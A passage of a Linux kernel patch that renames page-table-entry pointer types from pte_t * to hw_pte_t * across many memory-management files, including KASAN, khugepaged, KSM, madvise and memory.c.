 static void __ref zero_pte_populate(pmd_t *pmd, unsigned long addr,
 				unsigned long end)
 {
-	pte_t *pte = pte_offset_kernel(pmd, addr);
+	hw_pte_t *pte = pte_offset_kernel(pmd, addr);
 	pte_t zero_pte;
 
 	zero_pte = pfn_pte(PFN_DOWN(__pa_symbol(kasan_early_shadow_page)),
@@ -122,7 +122,7 @@ static int __ref zero_pmd_populate(pud_t *pud, unsigned long addr,
 		}
 
 		if (pmd_none(*pmd)) {
-			pte_t *p;
+			hw_pte_t *p;
 
 			if (slab_is_available())
 				p = pte_alloc_one_kernel(&init_mm);
@@ -281,9 +281,9 @@ int __ref kasan_populate_early_shadow(const void *shadow_start,
 	return 0;
 }
 
-static void kasan_free_pte(pte_t *pte_start, pmd_t *pmd)
+static void kasan_free_pte(hw_pte_t *pte_start, pmd_t *pmd)
 {
-	pte_t *pte;
+	hw_pte_t *pte;
 	int i;
 
 	for (i = 0; i < PTRS_PER_PTE; i++) {
@@ -341,7 +341,7 @@ static void kasan_free_p4d(p4d_t *p4d_start, pgd_t *pgd)
 	pgd_clear(pgd);
 }
 
-static void kasan_remove_pte_table(pte_t *pte, unsigned long addr,
+static void kasan_remove_pte_table(hw_pte_t *pte, unsigned long addr,
 				unsigned long end)
 {
 	unsigned long next;
@@ -369,7 +369,7 @@ static void kasan_remove_pmd_table(pmd_t *pmd, unsigned long addr,
 	unsigned long next;
 
 	for (; addr < end; addr = next, pmd++) {
-		pte_t *pte;
+		hw_pte_t *pte;
 
 		next = pmd_addr_end(addr, end);
 
diff --git a/mm/kasan/shadow.c b/mm/kasan/shadow.c
index d286e0a045437..86fc7ed45dcd0 100644
--- a/mm/kasan/shadow.c
+++ b/mm/kasan/shadow.c
@@ -189,7 +189,7 @@ static bool shadow_mapped(unsigned long addr)
 	p4d_t *p4d;
 	pud_t *pud;
 	pmd_t *pmd;
-	pte_t *pte;
+	hw_pte_t *pte;
 
 	if (pgd_none(*pgd))
 		return false;
@@ -297,7 +297,7 @@ struct vmalloc_populate_data {
 	struct page **pages;
 };
 
-static int kasan_populate_vmalloc_pte(pte_t *ptep, unsigned long addr,
+static int kasan_populate_vmalloc_pte(hw_pte_t *ptep, unsigned long addr,
 				      void *_data)
 {
 	struct vmalloc_populate_data *data = _data;
@@ -465,7 +465,7 @@ int __kasan_populate_vmalloc(unsigned long addr, unsigned long size, gfp_t gfp_m
 	return 0;
 }
 
-static int kasan_depopulate_vmalloc_pte(pte_t *ptep, unsigned long addr,
+static int kasan_depopulate_vmalloc_pte(hw_pte_t *ptep, unsigned long addr,
 					void *unused)
 {
 	pte_t pte;
diff --git a/mm/khugepaged.c b/mm/khugepaged.c
index 27e8f3077e80f..8cbe6943fea06 100644
--- a/mm/khugepaged.c
+++ b/mm/khugepaged.c
@@ -637,7 +637,7 @@ static void release_pte_folio(struct folio *folio)
 	folio_putback_lru(folio);
 }
 
-static void release_pte_pages(pte_t *pte, pte_t *_pte,
+static void release_pte_pages(hw_pte_t *pte, hw_pte_t *_pte,
 		struct list_head *compound_pagelist)
 {
 	struct folio *folio, *tmp;
@@ -665,7 +665,7 @@ static void release_pte_pages(pte_t *pte, pte_t *_pte,
 }
 
 static enum scan_result __collapse_huge_page_isolate(struct vm_area_struct *vma,
-		unsigned long start_addr, pte_t *pte, struct collapse_control *cc,
+		unsigned long start_addr, hw_pte_t *pte, struct collapse_control *cc,
 		unsigned int order, struct list_head *compound_pagelist)
 {
 	const unsigned int max_ptes_none = collapse_max_ptes_none(cc, vma, order);
@@ -674,7 +674,7 @@ static enum scan_result __collapse_huge_page_isolate(struct vm_area_struct *vma,
 	struct page *page = NULL;
 	struct folio *folio = NULL;
 	unsigned long addr = start_addr;
-	pte_t *_pte;
+	hw_pte_t *_pte;
 	int none_or_zero = 0, shared = 0, referenced = 0;
 	enum scan_result result = SCAN_FAIL;
 
@@ -828,7 +828,7 @@ static enum scan_result __collapse_huge_page_isolate(struct vm_area_struct *vma,
 	return result;
 }
 
-static void __collapse_huge_page_copy_succeeded(pte_t *pte,
+static void __collapse_huge_page_copy_succeeded(hw_pte_t *pte,
 		struct vm_area_struct *vma, unsigned long address,
 		spinlock_t *ptl, unsigned int order,
 		struct list_head *compound_pagelist)
@@ -837,7 +837,7 @@ static void __collapse_huge_page_copy_succeeded(pte_t *pte,
 	unsigned long end = address + (PAGE_SIZE * nr_pages);
 	struct folio *src, *tmp;
 	pte_t pteval;
-	pte_t *_pte;
+	hw_pte_t *_pte;
 	unsigned int nr_ptes;
 
 	for (_pte = pte; _pte < pte + nr_pages; _pte += nr_ptes,
@@ -892,7 +892,7 @@ static void __collapse_huge_page_copy_succeeded(pte_t *pte,
 	}
 }
 
-static void __collapse_huge_page_copy_failed(pte_t *pte,
+static void __collapse_huge_page_copy_failed(hw_pte_t *pte,
 		pmd_t *pmd, pmd_t orig_pmd, struct vm_area_struct *vma,
 		unsigned int order, struct list_head *compound_pagelist)
 {
@@ -930,7 +930,7 @@ static void __collapse_huge_page_copy_failed(pte_t *pte,
  * @ptl: lock on raw pages' PTEs
  * @compound_pagelist: list that stores compound pages
  */
-static enum scan_result __collapse_huge_page_copy(pte_t *pte, struct folio *folio,
+static enum scan_result __collapse_huge_page_copy(hw_pte_t *pte, struct folio *folio,
 		pmd_t *pmd, pmd_t orig_pmd, struct vm_area_struct *vma,
 		unsigned long address, spinlock_t *ptl, unsigned int order,
 		struct list_head *compound_pagelist)
@@ -1152,7 +1152,7 @@ static enum scan_result __collapse_huge_page_swapin(struct mm_struct *mm,
 	vm_fault_t ret = 0;
 	unsigned long addr, end = start_addr + (PAGE_SIZE << order);
 	enum scan_result result;
-	pte_t *pte = NULL;
+	hw_pte_t *pte = NULL;
 	spinlock_t *ptl;
 
 	for (addr = start_addr; addr < end; addr += PAGE_SIZE) {
@@ -1283,7 +1283,7 @@ static enum scan_result collapse_huge_page(struct mm_struct *mm, unsigned long s
 	const unsigned long end_addr = start_addr + (PAGE_SIZE << order);
 	LIST_HEAD(compound_pagelist);
 	pmd_t *pmd, _pmd;
-	pte_t *pte = NULL;
+	hw_pte_t *pte = NULL;
 	pgtable_t pgtable;
 	struct folio *folio;
 	spinlock_t *pmd_ptl, *pte_ptl;
@@ -1597,7 +1597,8 @@ static enum scan_result collapse_scan_pmd(struct mm_struct *mm,
 	unsigned int max_ptes_none = collapse_max_ptes_none(cc, vma, HPAGE_PMD_ORDER);
 	enum tva_type tva_flags = cc->is_khugepaged ? TVA_KHUGEPAGED : TVA_FORCED_COLLAPSE;
 	pmd_t *pmd;
-	pte_t *pte, *_pte, pteval;
+	hw_pte_t *pte, *_pte;
+	pte_t pteval;
 	int i;
 	int none_or_zero = 0, shared = 0, referenced = 0;
 	enum scan_result result = SCAN_FAIL;
@@ -1864,7 +1865,7 @@ static enum scan_result try_collapse_pte_mapped_thp(struct mm_struct *mm, unsign
 	unsigned long end = haddr + HPAGE_PMD_SIZE;
 	struct vm_area_struct *vma = vma_lookup(mm, haddr);
 	struct folio *folio;
-	pte_t *start_pte, *pte;
+	hw_pte_t *start_pte, *pte;
 	pmd_t *pmd, pgt_pmd;
 	spinlock_t *pml = NULL, *ptl;
 	int i;
diff --git a/mm/ksm.c b/mm/ksm.c
index c41b2c241bb09..1234e6c8b636c 100644
--- a/mm/ksm.c
+++ b/mm/ksm.c
@@ -618,7 +618,7 @@ static int break_ksm_pmd_entry(pmd_t *pmdp, unsigned long addr, unsigned long en
 {
 	unsigned long *found_addr = (unsigned long *) walk->private;
 	struct mm_struct *mm = walk->mm;
-	pte_t *start_ptep, *ptep;
+	hw_pte_t *start_ptep, *ptep;
 	spinlock_t *ptl;
 	int found = 0;
 
@@ -1399,7 +1399,7 @@ static int replace_page(struct vm_area_struct *vma, struct page *page,
 	struct folio *folio = page_folio(page);
 	pmd_t *pmd;
 	pmd_t pmde;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	pte_t newpte;
 	spinlock_t *ptl;
 	unsigned long addr;
@@ -2531,7 +2531,8 @@ static int ksm_next_page_pmd_entry(pmd_t *pmdp, unsigned long addr, unsigned lon
 {
 	struct ksm_next_page_arg *private = walk->private;
 	struct vm_area_struct *vma = walk->vma;
-	pte_t *start_ptep = NULL, *ptep, pte;
+	hw_pte_t *start_ptep = NULL, *ptep;
+	pte_t pte;
 	struct mm_struct *mm = walk->mm;
 	struct folio *folio;
 	struct page *page;
diff --git a/mm/madvise.c b/mm/madvise.c
index c324cc991f841..6f99cef91b6bd 100644
--- a/mm/madvise.c
+++ b/mm/madvise.c
@@ -189,7 +189,7 @@ static int swapin_walk_pmd_entry(pmd_t *pmd, unsigned long start,
 {
 	struct vm_area_struct *vma = walk->private;
 	struct swap_io_ctx ctx = {};
-	pte_t *ptep = NULL;
+	hw_pte_t *ptep = NULL;
 	spinlock_t *ptl;
 	unsigned long addr;
 
@@ -341,7 +341,7 @@ static inline bool can_do_file_pageout(struct vm_area_struct *vma)
 }
 
 static inline int madvise_folio_pte_batch(unsigned long addr, unsigned long end,
-					  struct folio *folio, pte_t *ptep,
+					  struct folio *folio, hw_pte_t *ptep,
 					  pte_t *ptentp)
 {
 	int max_nr = (end - addr) / PAGE_SIZE;
@@ -359,7 +359,8 @@ static int madvise_cold_or_pageout_pte_range(pmd_t *pmd,
 	bool pageout = private->pageout;
 	struct mm_struct *mm = tlb->mm;
 	struct vm_area_struct *vma = walk->vma;
-	pte_t *start_pte, *pte, ptent;
+	hw_pte_t *start_pte, *pte;
+	pte_t ptent;
 	spinlock_t *ptl;
 	struct folio *folio = NULL;
 	LIST_HEAD(folio_list);
@@ -658,7 +659,8 @@ static int madvise_free_pte_range(pmd_t *pmd, unsigned long addr,
 	struct mm_struct *mm = tlb->mm;
 	struct vm_area_struct *vma = walk->vma;
 	spinlock_t *ptl;
-	pte_t *start_pte, *pte, ptent;
+	hw_pte_t *start_pte, *pte;
+	pte_t ptent;
 	struct folio *folio;
 	int nr_swap = 0;
 	unsigned long next;
@@ -1083,7 +1085,7 @@ static int guard_install_pmd_entry(pmd_t *pmd, unsigned long addr,
 	return pmd_trans_huge(pmdval);
 }
 
-static int guard_install_pte_entry(pte_t *pte, unsigned long addr,
+static int guard_install_pte_entry(hw_pte_t *pte, unsigned long addr,
 				   unsigned long next, struct mm_walk *walk)
 {
 	pte_t pteval = ptep_get(pte);
@@ -1226,7 +1228,7 @@ static int guard_remove_pmd_entry(pmd_t *pmd, unsigned long addr,
 	return 0;
 }
 
-static int guard_remove_pte_entry(pte_t *pte, unsigned long addr,
+static int guard_remove_pte_entry(hw_pte_t *pte, unsigned long addr,
 				  unsigned long next, struct mm_walk *walk)
 {
 	pte_t ptent = ptep_get(pte);
diff --git a/mm/mapping_dirty_helpers.c b/mm/mapping_dirty_helpers.c
index e0efa36e0a076..dcbd39912f819 100644
--- a/mm/mapping_dirty_helpers.c
+++ b/mm/mapping_dirty_helpers.c
@@ -31,7 +31,7 @@ struct wp_walk {
  * The function write-protects a pte and records the range in
  * virtual address space of touched ptes for efficient range TLB flushes.
  */
-static int wp_pte(pte_t *pte, unsigned long addr, unsigned long end,
+static int wp_pte(hw_pte_t *pte, unsigned long addr, unsigned long end,
 		  struct mm_walk *walk)
 {
 	struct wp_walk *wpwalk = walk->private;
@@ -86,7 +86,7 @@ struct clean_walk {
  * in the address_space, as well as the first and last of the bits
  * touched.
  */
-static int clean_record_pte(pte_t *pte, unsigned long addr,
+static int clean_record_pte(hw_pte_t *pte, unsigned long addr,
 			    unsigned long end, struct mm_walk *walk)
 {
 	struct wp_walk *wpwalk = walk->private;
diff --git a/mm/memory-failure.c b/mm/memory-failure.c
index a8b03e2920ba8..a89f3fde47a5d 100644
--- a/mm/memory-failure.c
+++ b/mm/memory-failure.c
@@ -342,7 +342,7 @@ static unsigned long dev_pagemap_mapping_shift(struct vm_area_struct *vma,
 	p4d_t *p4d;
 	pud_t *pud;
 	pmd_t *pmd;
-	pte_t *pte;
+	hw_pte_t *pte;
 	pte_t ptent;
 
 	VM_BUG_ON_VMA(address == -EFAULT, vma);
@@ -742,7 +742,7 @@ static int hwpoison_pte_range(pmd_t *pmdp, unsigned long addr,
 {
 	struct hwpoison_walk *hwp = walk->private;
 	int ret = 0;
-	pte_t *ptep, *mapped_pte;
+	hw_pte_t *ptep, *mapped_pte;
 	spinlock_t *ptl;
 
 	ptl = pmd_trans_huge_lock(pmdp, walk->vma);
@@ -770,7 +770,7 @@ static int hwpoison_pte_range(pmd_t *pmdp, unsigned long addr,
 }
 
 #ifdef CONFIG_HUGETLB_PAGE
-static int hwpoison_hugetlb_range(pte_t *ptep, unsigned long hmask,
+static int hwpoison_hugetlb_range(hw_pte_t *ptep, unsigned long hmask,
 			    unsigned long addr, unsigned long end,
 			    struct mm_walk *walk)
 {
diff --git a/mm/memory.c b/mm/memory.c
index a73af1fccb3d0..8e89fddd0c4ba 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -462,7 +462,7 @@ int __pte_alloc(struct mm_struct *mm, pmd_t *pmd)
 
 int __pte_alloc_kernel(pmd_t *pmd)
 {
-	pte_t *new = pte_alloc_one_kernel(&init_mm);
+	hw_pte_t *new = pte_alloc_one_kernel(&init_mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -941,7 +941,7 @@ struct page *vm_normal_page_pud(struct vm_area_struct *vma,
  */
 static void restore_exclusive_pte(struct vm_area_struct *vma,
 		struct folio *folio, struct page *page, unsigned long address,
-		pte_t *ptep, pte_t orig_pte)
+		hw_pte_t *ptep, pte_t orig_pte)
 {
 	pte_t pte;
 
@@ -978,7 +978,7 @@ static void restore_exclusive_pte(struct vm_area_struct *vma,
  * sleeping.
  */
 static int try_restore_exclusive_pte(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, pte_t orig_pte)
+		unsigned long addr, hw_pte_t *ptep, pte_t orig_pte)
 {
 	const softleaf_t entry = softleaf_from_pte(orig_pte);
 	struct page *page = softleaf_to_page(entry);
@@ -1001,7 +1001,7 @@ static int try_restore_exclusive_pte(struct vm_area_struct *vma,
 
 static unsigned long
 copy_nonpresent_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
-		pte_t *dst_pte, pte_t *src_pte, struct vm_area_struct *dst_vma,
+		hw_pte_t *dst_pte, hw_pte_t *src_pte, struct vm_area_struct *dst_vma,
 		struct vm_area_struct *src_vma, unsigned long addr, int *rss)
 {
 	vm_flags_t vm_flags = dst_vma->vm_flags;
@@ -1116,7 +1116,7 @@ copy_nonpresent_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
  */
 static inline int
 copy_present_page(struct vm_area_struct *dst_vma, struct vm_area_struct *src_vma,
-		  pte_t *dst_pte, pte_t *src_pte, unsigned long addr, int *rss,
+		  hw_pte_t *dst_pte, hw_pte_t *src_pte, unsigned long addr, int *rss,
 		  struct folio **prealloc, struct page *page)
 {
 	struct folio *new_folio;
@@ -1155,7 +1155,7 @@ copy_present_page(struct vm_area_struct *dst_vma, struct vm_area_struct *src_vma
 }
 
 static __always_inline void __copy_present_ptes(struct vm_area_struct *dst_vma,
-		struct vm_area_struct *src_vma, pte_t *dst_pte, pte_t *src_pte,
+		struct vm_area_struct *src_vma, hw_pte_t *dst_pte, hw_pte_t *src_pte,
 		pte_t pte, unsigned long addr, int nr)
 {
 	struct mm_struct *src_mm = src_vma->vm_mm;
@@ -1205,7 +1205,7 @@ static __always_inline void __copy_present_ptes(struct vm_area_struct *dst_vma,
  */
 static inline int
 copy_present_ptes(struct vm_area_struct *dst_vma, struct vm_area_struct *src_vma,
-		 pte_t *dst_pte, pte_t *src_pte, pte_t pte, unsigned long addr,
+		 hw_pte_t *dst_pte, hw_pte_t *src_pte, pte_t pte, unsigned long addr,
 		 int max_nr, int *rss, struct folio **prealloc)
 {
 	fpb_t flags = FPB_MERGE_WRITE;
@@ -1305,8 +1305,8 @@ copy_pte_range(struct vm_area_struct *dst_vma, struct vm_area_struct *src_vma,
 {
 	struct mm_struct *dst_mm = dst_vma->vm_mm;
 	struct mm_struct *src_mm = src_vma->vm_mm;
-	pte_t *orig_src_pte, *orig_dst_pte;
-	pte_t *src_pte, *dst_pte;
+	hw_pte_t *orig_src_pte, *orig_dst_pte;
+	hw_pte_t *src_pte, *dst_pte;
 	pmd_t dummy_pmdval;
 	pte_t ptent;
 	spinlock_t *src_ptl, *dst_ptl;
@@ -1699,7 +1699,7 @@ static inline bool zap_drop_markers(struct zap_details *details)
  * Returns true if uffd-wp PTEs were installed, false otherwise.
  */
 bool cond_install_uffd_wp_ptes(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, pte_t pte,
+		unsigned long addr, hw_pte_t *ptep, pte_t pte,
 		unsigned long nr_ptes)
 {
 	bool arm_uffd_pte = false;
@@ -1753,7 +1753,7 @@ bool cond_install_uffd_wp_ptes(struct vm_area_struct *vma,
  */
 static inline bool
 zap_install_uffd_wp_if_needed(struct vm_area_struct *vma,
-			      unsigned long addr, pte_t *pte, int nr,
+			      unsigned long addr, hw_pte_t *pte, int nr,
 			      struct zap_details *details, pte_t pteval)
 {
 	if (zap_drop_markers(details))
@@ -1764,7 +1764,7 @@ zap_install_uffd_wp_if_needed(struct vm_area_struct *vma,
 
 static __always_inline void zap_present_folio_ptes(struct mmu_gather *tlb,
 		struct vm_area_struct *vma, struct folio *folio,
-		struct page *page, pte_t *pte, pte_t ptent, unsigned int nr,
+		struct page *page, hw_pte_t *pte, pte_t ptent, unsigned int nr,
 		unsigned long addr, struct zap_details *details, int *rss,
 		bool *force_flush, bool *force_break, bool *any_skipped)
 {
@@ -1814,7 +1814,7 @@ static __always_inline void zap_present_folio_ptes(struct mmu_gather *tlb,
  * Returns the number of processed (skipped or zapped) PTEs (at least 1).
  */
 static inline int zap_present_ptes(struct mmu_gather *tlb,
-		struct vm_area_struct *vma, pte_t *pte, pte_t ptent,
+		struct vm_area_struct *vma, hw_pte_t *pte, pte_t ptent,
 		unsigned int max_nr, unsigned long addr,
 		struct zap_details *details, int *rss, bool *force_flush,
 		bool *force_break, bool *any_skipped)
@@ -1860,7 +1860,7 @@ static inline int zap_present_ptes(struct mmu_gather *tlb,
 }
 
 static inline int zap_nonpresent_ptes(struct mmu_gather *tlb,
-		struct vm_area_struct *vma, pte_t *pte, pte_t ptent,
+		struct vm_area_struct *vma, hw_pte_t *pte, pte_t ptent,
 		unsigned int max_nr, unsigned long addr,
 		struct zap_details *details, int *rss, bool *any_skipped)
 {
@@ -1931,7 +1931,7 @@ static inline int zap_nonpresent_ptes(struct mmu_gather *tlb,
 }
 
 static inline int do_zap_pte_range(struct mmu_gather *tlb,
-				   struct vm_area_struct *vma, pte_t *pte,
+				   struct vm_area_struct *vma, hw_pte_t *pte,
 				   unsigned long addr, unsigned long end,
 				   struct zap_details *details, int *rss,
 				   bool *force_flush, bool *force_break,
@@ -1994,7 +1994,7 @@ static bool zap_pte_table_if_empty(struct mm_struct *mm, pmd_t *pmd,
 		unsigned long addr, pmd_t *pmdval)
 {
 	spinlock_t *pml, *ptl = NULL;
-	pte_t *start_pte, *pte;
+	hw_pte_t *start_pte, *pte;
 	int i;
 
 	pml = pmd_lock(mm, pmd);
@@ -2034,8 +2034,8 @@ static unsigned long zap_pte_range(struct mmu_gather *tlb,
 	struct mm_struct *mm = tlb->mm;
 	int rss[NR_MM_COUNTERS];
 	spinlock_t *ptl;
-	pte_t *start_pte;
-	pte_t *pte;
+	hw_pte_t *start_pte;
+	hw_pte_t *pte;
 	pmd_t pmdval;
 	unsigned long start = addr;
 	bool direct_reclaim = true;
@@ -2417,7 +2417,7 @@ static pmd_t *walk_to_pmd(struct mm_struct *mm, unsigned long addr)
 	return pmd;
 }
 
-pte_t *get_locked_pte(struct mm_struct *mm, unsigned long addr,
+hw_pte_t *get_locked_pte(struct mm_struct *mm, unsigned long addr,
 		      spinlock_t **ptl)
 {
 	pmd_t *pmd = walk_to_pmd(mm, addr);
@@ -2475,7 +2475,7 @@ static int validate_page_before_insert(struct vm_area_struct *vma,
 	return 0;
 }
 
-static int insert_page_into_pte_locked(struct vm_area_struct *vma, pte_t *pte,
+static int insert_page_into_pte_locked(struct vm_area_struct *vma, hw_pte_t *pte,
 				unsigned long addr, struct page *page,
 				pgprot_t prot, bool mkwrite)
 {
@@ -2520,7 +2520,7 @@ static int insert_page(struct vm_area_struct *vma, unsigned long addr,
 			struct page *page, pgprot_t prot, bool mkwrite)
 {
 	int retval;
-	pte_t *pte;
+	hw_pte_t *pte;
 	spinlock_t *ptl;
 
 	retval = validate_page_before_insert(vma, page);
@@ -2537,7 +2537,7 @@ static int insert_page(struct vm_area_struct *vma, unsigned long addr,
 	return retval;
 }
 
-static int insert_page_in_batch_locked(struct vm_area_struct *vma, pte_t *pte,
+static int insert_page_in_batch_locked(struct vm_area_struct *vma, hw_pte_t *pte,
 			unsigned long addr, struct page *page, pgprot_t prot)
 {
 	int err;
@@ -2555,7 +2555,7 @@ static int insert_pages(struct vm_area_struct *vma, unsigned long addr,
 			struct page **pages, unsigned long *num, pgprot_t prot)
 {
 	pmd_t *pmd = NULL;
-	pte_t *start_pte, *pte;
+	hw_pte_t *start_pte, *pte;
 	spinlock_t *pte_lock;
 	struct mm_struct *const mm = vma->vm_mm;
 	unsigned long curr_page_idx = 0;
@@ -2798,7 +2798,8 @@ static vm_fault_t insert_pfn(struct vm_area_struct *vma, unsigned long addr,
 			unsigned long pfn, pgprot_t prot, bool mkwrite)
 {
 	struct mm_struct *mm = vma->vm_mm;
-	pte_t *pte, entry;
+	hw_pte_t *pte;
+	pte_t entry;
 	spinlock_t *ptl;
 
 	pte = get_locked_pte(mm, addr, &ptl);
@@ -3039,7 +3040,7 @@ static int remap_pte_range(struct mm_struct *mm, pmd_t *pmd,
 			unsigned long addr, unsigned long end,
 			unsigned long pfn, pgprot_t prot)
 {
-	pte_t *pte, *mapped_pte;
+	hw_pte_t *pte, *mapped_pte;
 	spinlock_t *ptl;
 	int err = 0;
 
@@ -3440,7 +3441,7 @@ static int apply_to_pte_range(struct mm_struct *mm, pmd_t *pmd,
 				     pte_fn_t fn, void *data, bool create,
 				     pgtbl_mod_mask *mask)
 {
-	pte_t *pte, *mapped_pte;
+	hw_pte_t *pte, *mapped_pte;
 	int err = 0;
 	spinlock_t *ptl;
 
@@ -4743,7 +4744,7 @@ static vm_fault_t handle_pte_marker(struct vm_fault *vmf)
 /*
  * Check if the PTEs within a range are contiguous swap entries.
  */
-static bool can_swapin_thp(struct vm_fault *vmf, pte_t *ptep, int nr_pages)
+static bool can_swapin_thp(struct vm_fault *vmf, hw_pte_t *ptep, int nr_pages)
 {
 	unsigned long addr;
 	int idx;
@@ -4795,7 +4796,7 @@ static unsigned long thp_swapin_suitable_orders(struct vm_fault *vmf)
 	unsigned long addr;
 	softleaf_t entry;
 	spinlock_t *ptl;
-	pte_t *pte;
+	hw_pte_t *pte;
 	int order;
 
 	/*
@@ -4957,7 +4958,7 @@ vm_fault_t do_swap_page(struct vm_fault *vmf)
 	int nr_pages;
 	unsigned long page_idx;
 	unsigned long address;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 
 	if (!pte_unmap_same(vmf))
 		goto out;
@@ -5071,7 +5072,7 @@ vm_fault_t do_swap_page(struct vm_fault *vmf)
 		unsigned long idx = folio_page_idx(folio, page);
 		unsigned long folio_start = address - idx * PAGE_SIZE;
 		unsigned long folio_end = folio_start + nr * PAGE_SIZE;
-		pte_t *folio_ptep;
+		hw_pte_t *folio_ptep;
 		pte_t folio_pte;
 
 		if (unlikely(folio_start < max(address & PMD_MASK, vma->vm_start)))
@@ -5301,7 +5302,7 @@ vm_fault_t do_swap_page(struct vm_fault *vmf)
 	return ret;
 }
 
-static bool pte_range_none(pte_t *pte, int nr_pages)
+static bool pte_range_none(hw_pte_t *pte, int nr_pages)
 {
 	int i;
 
@@ -5320,7 +5321,7 @@ static struct folio *alloc_anon_folio(struct vm_fault *vmf)
 	unsigned long orders;
 	struct folio *folio;
 	unsigned long addr;
-	pte_t *pte;
+	hw_pte_t *pte;
 	gfp_t gfp;
 	int order;
 
@@ -5402,7 +5403,7 @@ static struct folio *alloc_anon_folio(struct vm_fault *vmf)
 	return folio_prealloc(vma->vm_mm, vma, vmf->address, true);
 }
 
-void map_anon_folio_pte_nopf(struct folio *folio, pte_t *pte,
+void map_anon_folio_pte_nopf(struct folio *folio, hw_pte_t *pte,
 		struct vm_area_struct *vma, unsigned long addr,
 		bool uffd_wp)
 {
@@ -5423,7 +5424,7 @@ void map_anon_folio_pte_nopf(struct folio *folio, pte_t *pte,
 	update_mmu_cache_range(NULL, vma, addr, pte, nr_pages);
 }
 
-static void map_anon_folio_pte_pf(struct folio *folio, pte_t *pte,
+static void map_anon_folio_pte_pf(struct folio *folio, hw_pte_t *pte,
 		struct vm_area_struct *vma, unsigned long addr, bool uffd_wp)
 {
 	const unsigned int order = folio_order(folio);
@@ -6208,7 +6209,7 @@ int numa_migrate_check(struct folio *folio, struct vm_fault *vmf,
 }
 
 static void numa_rebuild_single_mapping(struct vm_fault *vmf, struct vm_area_struct *vma,
-					unsigned long fault_addr, pte_t *fault_pte,
+					unsigned long fault_addr, hw_pte_t *fault_pte,
 					bool writable)
 {
 	pte_t pte, old_pte;
@@ -6230,7 +6231,7 @@ static void numa_rebuild_large_mapping(struct vm_fault *vmf, struct vm_area_stru
 	unsigned long start, end, addr = vmf->address;
 	unsigned long addr_start = addr - (nr << PAGE_SHIFT);
 	unsigned long pt_start = ALIGN_DOWN(addr, PMD_SIZE);
-	pte_t *start_ptep;
+	hw_pte_t *start_ptep;
 
 	/* Stay within the VMA and within the page table. */
 	start = max3(addr_start, pt_start, vma->vm_start);
@@ -6992,7 +6993,7 @@ int __pmd_alloc(struct mm_struct *mm, pud_t *pud, unsigned long address)
 #endif /* __PAGETABLE_PMD_FOLDED */
 
 static inline void pfnmap_args_setup(struct follow_pfnmap_args *args,
-				     spinlock_t *lock, pte_t *ptep,
+				     spinlock_t *lock, hw_pte_t *ptep,
 				     pgprot_t pgprot, unsigned long pfn_base,
 				     unsigned long addr_mask, bool writable,
 				     bool special)
@@ -7061,7 +7062,8 @@ int follow_pfnmap_start(struct follow_pfnmap_args *args)
 	p4d_t *p4dp, p4d;
 	pud_t *pudp, pud;
 	pmd_t *pmdp, pmd;
-	pte_t *ptep, pte;
+	hw_pte_t *ptep;
+	pte_t pte;
 
 	pfnmap_lockdep_assert(vma);
 
diff --git a/mm/mempolicy.c b/mm/mempolicy.c
index 5720f7f54d942..729a600132386 100644
--- a/mm/mempolicy.c
+++ b/mm/mempolicy.c
@@ -691,7 +691,7 @@ static int queue_folios_pte_range(pmd_t *pmd, unsigned long addr,
 	struct folio *folio;
 	struct queue_pages *qp = walk->private;
 	unsigned long flags = qp->flags;
-	pte_t *pte, *mapped_pte;
+	hw_pte_t *pte, *mapped_pte;
 	pte_t ptent;
 	spinlock_t *ptl;
 	int max_nr, nr;
@@ -771,7 +771,7 @@ static int queue_folios_pte_range(pmd_t *pmd, unsigned long addr,
 	return 0;
 }
 
-static int queue_folios_hugetlb(pte_t *pte, unsigned long hmask,
+static int queue_folios_hugetlb(hw_pte_t *pte, unsigned long hmask,
 			       unsigned long addr, unsigned long end,
 			       struct mm_walk *walk)
 {
diff --git a/mm/migrate.c b/mm/migrate.c
index ab15a4dddd047..327fde599be4a 100644
--- a/mm/migrate.c
+++ b/mm/migrate.c
@@ -497,7 +497,7 @@ void migration_entry_wait(struct mm_struct *mm, pmd_t *pmd,
 			  unsigned long address)
 {
 	spinlock_t *ptl;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	pte_t pte;
 	softleaf_t entry;
 
@@ -528,7 +528,7 @@ void migration_entry_wait(struct mm_struct *mm, pmd_t *pmd,
  *
  * This function will release the vma lock before returning.
  */
-void migration_entry_wait_huge(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+void migration_entry_wait_huge(struct vm_area_struct *vma, unsigned long addr, hw_pte_t *ptep)
 {
 	spinlock_t *ptl = huge_pte_lockptr(hstate_vma(vma), vma->vm_mm, ptep);
 	softleaf_t entry;
diff --git a/mm/migrate_device.c b/mm/migrate_device.c
index 18d097c388530..5669a2d760c5e 100644
--- a/mm/migrate_device.c
+++ b/mm/migrate_device.c
@@ -254,7 +254,7 @@ static int migrate_vma_collect_pmd(pmd_t *pmdp,
 	spinlock_t *ptl;
 	struct folio *fault_folio = migrate->fault_page ?
 		page_folio(migrate->fault_page) : NULL;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 
 again:
 	if (pmd_trans_huge(*pmdp) || !pmd_present(*pmdp)) {
@@ -989,7 +989,7 @@ static void migrate_vma_insert_page(struct migrate_vma *migrate,
 	p4d_t *p4dp;
 	pud_t *pudp;
 	pmd_t *pmdp;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	pte_t orig_pte;
 
 	/* Only allow populating anonymous memory */
diff --git a/mm/mincore.c b/mm/mincore.c
index ff4ac82817683..15454ced345ab 100644
--- a/mm/mincore.c
+++ b/mm/mincore.c
@@ -24,7 +24,7 @@
 #include "swap.h"
 #include "internal.h"
 
-static int mincore_hugetlb(pte_t *pte, unsigned long hmask, unsigned long addr,
+static int mincore_hugetlb(hw_pte_t *pte, unsigned long hmask, unsigned long addr,
 			unsigned long end, struct mm_walk *walk)
 {
 #ifdef CONFIG_HUGETLB_PAGE
@@ -164,7 +164,7 @@ static int mincore_pte_range(pmd_t *pmd, unsigned long addr, unsigned long end,
 {
 	spinlock_t *ptl;
 	struct vm_area_struct *vma = walk->vma;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	unsigned char *vec = walk->private;
 	int nr = (end - addr) >> PAGE_SHIFT;
 	int step, i;
